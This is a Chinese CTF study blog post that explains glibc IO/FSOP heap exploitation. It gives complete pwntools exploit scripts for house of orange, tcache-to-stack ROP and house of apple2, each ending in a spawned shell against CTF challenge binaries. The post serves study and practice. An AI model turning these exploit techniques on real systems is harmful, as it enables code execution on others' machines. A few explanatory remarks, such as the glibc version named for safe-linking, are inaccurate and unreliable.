24-05-27

本周学习总结

咕了这么久,总算是正式开启堆打IO的学习之路了。

全局常量声明:文章内容仅是由教程观点和自己总结获得,仅供参考。

一、攻击IO劫持程序流的根本原理。

程序在使用exit退出或发生堆错误进行输出时会调用某函数对每个IO进行某些操作,这些函数最终调用的是一个叫_IO_flush_all_lockp的函数,在该函数中满足某些条件时会调用over_flow函数,而该函数是以一种调用地址存在于叫vtable的调用表中,我们如果能修改该IO的vtable调用表地址,就可以在我们伪造的vtable调用表中调用一次任意函数。

以glibc2.23为例,在程序想调用当前IO的over_flow函数时,rdi正好指向当前IO的起始地址,我们可以在此处写入“/bin/sh\x00”,而vtable表则是在+0xD8的位置。over_flow为vtable的第四函数。我们可以在我们伪造好的vtable表的第四参数的位置写入system。这样就完成了system(“/bin/sh\x00“)的执行。(概率成功)

对于如何做到这一点,后面会有经典例题。

二、[BUUCTF]–house of orange_hitcon_2016

glibc:2.23-0ubuntu3_amd64

Check:

64位程序,保护全开。

漏洞点:

add:

edit:

edit中存在很大的堆溢出漏洞。

该程序没有free函数,输出函数为正常输出,碰到\x00停止。而且程序对堆块的申请和修改有次数限制,不过这些次数足够我们完成攻击。

通过修改TOP_chunk的size字段后申请大堆块导致TOP_chunk进入unsortbins中,我们此时就有了unsortbin attack的机会,再次申请堆块,此时可获得libc的基地址和heap的基地址。

再次进行堆溢出,引导unsortbin attack同时构造假IO结构体和假vtable表。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def getorw(name, buf):
sh = shellcraft.open(name)
sh += shellcraft.read(3, buf, 0x30)
sh += shellcraft.write(1, buf, 0x30)
sh = asm(sh)
return sh

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

# ==================== 程序连接配置 ====================

# p = remote("node5.buuoj.cn", 29462)
p = process("./IOpwn")

# ==================== ELF 和上下文配置 ====================

# elf = ELF("./pwn")
libc = ELF("./libc.so.6")

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
# elf.arch, elf.so

# ==================== 功能函数定义 ====================

def add(size, content):
sea(b"Your choice : ", stre(1))
sea(b"Length of name :", stre(size))
sea(b"Name :", content)
sea(b"Price of Orange:", stre(0))
sea(b"Color of Orange:", stre(1))

def show():
sea(b"Your choice :", stre(2))

def edit(size, content):
sea(b"Your choice : ", stre(3))
sea(b"Length of name :", stre(size))
sea(b"Name:", content)
sea(b"Price of Orange: ", stre(0))
sea(b"Color of Orange: ", stre(1))

# ==================== 漏洞利用 ====================

# 步骤1: House of Orange - 修改top chunk size
add(0x40, b"A" * 0x18)
edit(0x80, b"A" * 0x68 + p64(0xf71))

# 步骤2: 触发sysmalloc,泄露libc地址
add(0x1000, b"B" * 0x18)
add(0x400, b"A" * 0x8)
show()

reu(b" Name of house : AAAAAAAA")
libc_base = raddr64() - 0x3c4188
ph(libc_base, "libc_base")

IO_list_all = libc_base + libc.sym["_IO_list_all"]
sys_addr = libc_base + libc.sym["system"]

# 步骤3: 泄露heap地址
edit(0x10, b"A" * 0x10)
show()
reu(b" Name of house : AAAAAAAAAAAAAAAA")
heap_base = raddr64() - 0xf0
ph(heap_base, "heap_base")

# 步骤4: 构造假_IO_FILE_plus结构体 (FSOP)
# 假IO结构体,0x61是为了将该chunk链入main_arena+0x88
orange = b"/bin/sh\x00" + p64(0x61)

# unsortbin attack关键节点,此时会向IO_list_all写入该chunk的起始地址
# 也就是main_arena+0x88指向的地址
orange += p64(0) + p64(IO_list_all - 0x10)

# 使用的分支为_IO_write_base < _IO_write_ptr
orange += p64(0) + p64(0x1)

# 合理填充整体到0xC0
orange += b"\x00" * 0x90

# 假vtable表,heap_base + 0x5F8是该表的起始地址
orange += p64(0) * 3 + p64(heap_base + 0x5F8) + p64(0) * 2 + p64(sys_addr)

# 前面加上合理填充
payload = b"\x00" * 0x420 + orange
edit(0x600, payload)

# 步骤5: 触发IO attack
sea(b"Your choice : ", stre(1))

# 进入交互模式
op()

三、[LitCTF2024]heap-2.35

Glibc:2.35-0ubuntu3.8_amd64

Check:

64为程序,保护全开。

程序存在uaf漏洞,由于libc已经到了2.35版本,这里直接考虑堆打栈。

glibc2.23引入了加密机制,所以需要暴露的地址为heap基地址和libc基地址,key的值就是heap基地址右移(8+4)位。

引导堆块到edit函数的栈时有些问题,可能无法准确到指定位置,可以引导堆块到read函数的栈中,通过一些额外的偏移来处理仍然无法引导堆块到栈的问题。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def getorw(name, buf):
sh = shellcraft.open(name)
sh += shellcraft.read(3, buf, 0x30)
sh += shellcraft.write(1, buf, 0x30)
sh = asm(sh)
return sh

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

# 远程连接
p = remote("node3.anna.nssctf.cn", 28045)

# 本地调试选项(已注释)
# p = process("./heap")
# elf = ELF("./pwn")
libc = ELF("./libc.so.6")

# 调试与架构设置
# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'

def add(index, size):
sela(b">>", stre(1))
sela(b"idx? ", stre(index))
sela(b"size? ", stre(size))

def dele(index):
sela(b">>", stre(2))
sela(b"idx? ", stre(index))

def show(index):
sela(b">>", stre(3))
sela(b"idx? ", stre(index))

def edit(index, content):
sela(b">>", stre(4))
sela(b"idx? ", stre(index))
sea(b"content : ", content)

# 漏洞利用流程
add(0, 0x520)
add(1, 0x40)
dele(0)
show(0)
reu(b"content : ")

libc_base = raddr64() - 0x21ace0
ph(libc_base, "libc_base")

envir_addr = libc_base + libc.sym["__environ"]
one = libc_base + 0xebce2
pop_rdi = libc_base + 0x2a3e5
pop_rsp = libc_base + 0x35732
sys_addr = libc_base + libc.sym["system"]
bin_addr = libc_base + next(libc.search(b"/bin/sh\x00"))

edit(1, p64(pop_rdi) + p64(bin_addr) + p64(sys_addr))

add(2, 0x40)
add(3, 0x40)
add(4, 0x40)
dele(2)
dele(3)
show(2)
reu(b"content : ")

key = u64(reu(b"\n", True).ljust(8, b"\x00"))
heap_base = key << (8 + 4)
ph(heap_base, "heap_base")

edit(3, p64(key ^ envir_addr))
add(5, 0x40)
add(6, 0x40)
show(6)
reu(b"content : ")

stack = raddr64() - 0x198
ph(stack, "stack")

add(7, 0x60)
add(8, 0x60)
add(9, 0x60)
dele(7)
dele(8)
edit(8, p64(key ^ stack))
add(10, 0x60)
add(11, 0x60)
edit(11, b"\x00" * 0x38 + p64(pop_rsp) + p64(heap_base + 0x7d0))
op()

四、[LitCTF2024]heap-2.39–house of apple2

Glibc:2.39-0ubuntu8.1_amd64

Check:

64位程序,保护全开。

2024年最新libc力作。

仍然存在uaf漏洞,但是只能申请0x40F~0x1000大小的堆块。

本质上还是通过largebinattack+house of apple2完成的攻击。(byd,这都2024年了,你漏洞还是不修是吧)

早期的libc(glibc2.23)我们可以直接伪造vtable来劫持程序流,但是紧接着的glibc2.24就加入了对vtable地址的合法性进程,一直到最新版本。但是这玩意检查了,但是没有完全检查。

在IO中除了vtable,还有一种叫_wide_vtable的东西,而这个玩意和vtavle近乎一样且没有检查。

具体利用方法:house of apple2

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def getorw(name, buf):
sh = shellcraft.open(name)
sh += shellcraft.read(3, buf, 0x30)
sh += shellcraft.write(1, buf, 0x30)
sh = asm(sh)
return sh

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

# ==================== 程序连接配置 ====================

# p = remote("node3.anna.nssctf.cn", 28354)
p = process("./heap")

# ==================== ELF 和上下文配置 ====================

# elf = ELF("./pwn")
libc = ELF("./libc.so.6")

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
# elf.arch, elf.so

# ==================== 功能函数定义 ====================

def add(index, size):
sela(b">>", stre(1))
sela(b"idx? ", stre(index))
sela(b"size? ", stre(size))

def dele(index):
sela(b">>", stre(2))
sela(b"idx? ", stre(index))

def show(index):
sela(b">>", stre(3))
sela(b"idx? ", stre(index))

def edit(index, content):
sela(b">>", stre(4))
sela(b"idx? ", stre(index))
sea(b"content : ", content)

# ==================== 漏洞利用 ====================

# 步骤1: 分配chunk
add(8, 0x508)
add(0, 0x510)
add(1, 0x500)
add(2, 0x520)
add(3, 0x500)

# 步骤2: 释放chunk 2并重新分配,泄露libc地址
dele(2)
add(4, 0x530)
show(2)

reu(b"content : ")
large = raddr64()
libc_base = large - 0x670 - libc.sym['_IO_2_1_stdin_']
_IO_list_all = libc_base + libc.sym['_IO_list_all']
io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
sys_addr = libc_base + libc.sym['system']

ph(libc_base, "libc_base")

# 步骤3: 泄露heap地址
edit(2, b'A' * 0x10)
show(2)
reu(b"content : ")
re(0x10)
heap = raddr64()
ph(heap, "heap")

# 步骤4: Large Bin Attack - 修改_IO_list_all
dele(0)
edit(2, p64(large) + p64(large) + p64(heap) + p64(_IO_list_all - 0x20))
add(5, 0x550)

chunk_addr = heap - 0xa30

# 步骤5: 设置IO_flags绕过检查
# why??? --> 为了libc某处的检查,要求就是必须先碰到"\xF5\xF7"(0xF7F5)才能正常调用。
# 所以这里也可以改成 edit(1,b"C"*0x800 + b"\xf5\xf7 ;sh\x00")。
# 而 ";" 在linux下相当于或执行,所以程序会先执行 "\xf5\xf7 " 命令,然后马上会执行 "sh" 命令。
edit(8, b'A' * 0x500 + p32(0xfffff7f5) + b';sh\x00')

# 步骤6: 构造假_IO_FILE_plus结构体 (FSOP)
fake_io_file = p64(0) * 2
fake_io_file += p64(0) + p64(1) # _IO_write_base < _IO_write_ptr

fake_io_file += b"\x00" * 0x70 + p64(chunk_addr + 0x100) # _wide_data -> fp+0xa0 = A

fake_io_file += b"\x00" * 0x30 + p64(io_wfile_jumps) # vtable

fake_io_file += b"\x00" * (0x20 + 0xE0) + p64(chunk_addr + 0x200) # _wide_data->_wide_vtable -> A+0xE0 = B

fake_io_file += b"\x00" * (0x8 + 0x10 + 0x68) + p64(sys_addr) # system -> B+0x68 = call system

# IO_flags = p32(0xfffff7f5) + b";sh\x00"
# _IO_write_base < _IO_write_ptr
# _wide_adta = A -> *(fp+0xa0) = A
# _wide_data->_IO_write_base = 0 -> *(A+0x18) = 0
# _wide_data->_IO_buf_base = 0 -> *(A+0x30) = 0
# _wide_data->_wide_vtable = B -> *(A+0xE) = B
# _wide_data->_wide_vtable->doallocate = system -> *(B+0x60) = call system

edit(0, fake_io_file)

# 步骤7: 触发FSOP
sela(b">>", stre(5))

# 进入交互模式
op()

下周学习计划

| 应该要做的事情 |

继续学习house of系列

学习感受

发现这些手法的人真是天才。


24-05-27
https://zlsf-zl.github.io/2024/05/27/5-27-6-2/
作者
ZLSF
发布于
2024年5月27日
许可协议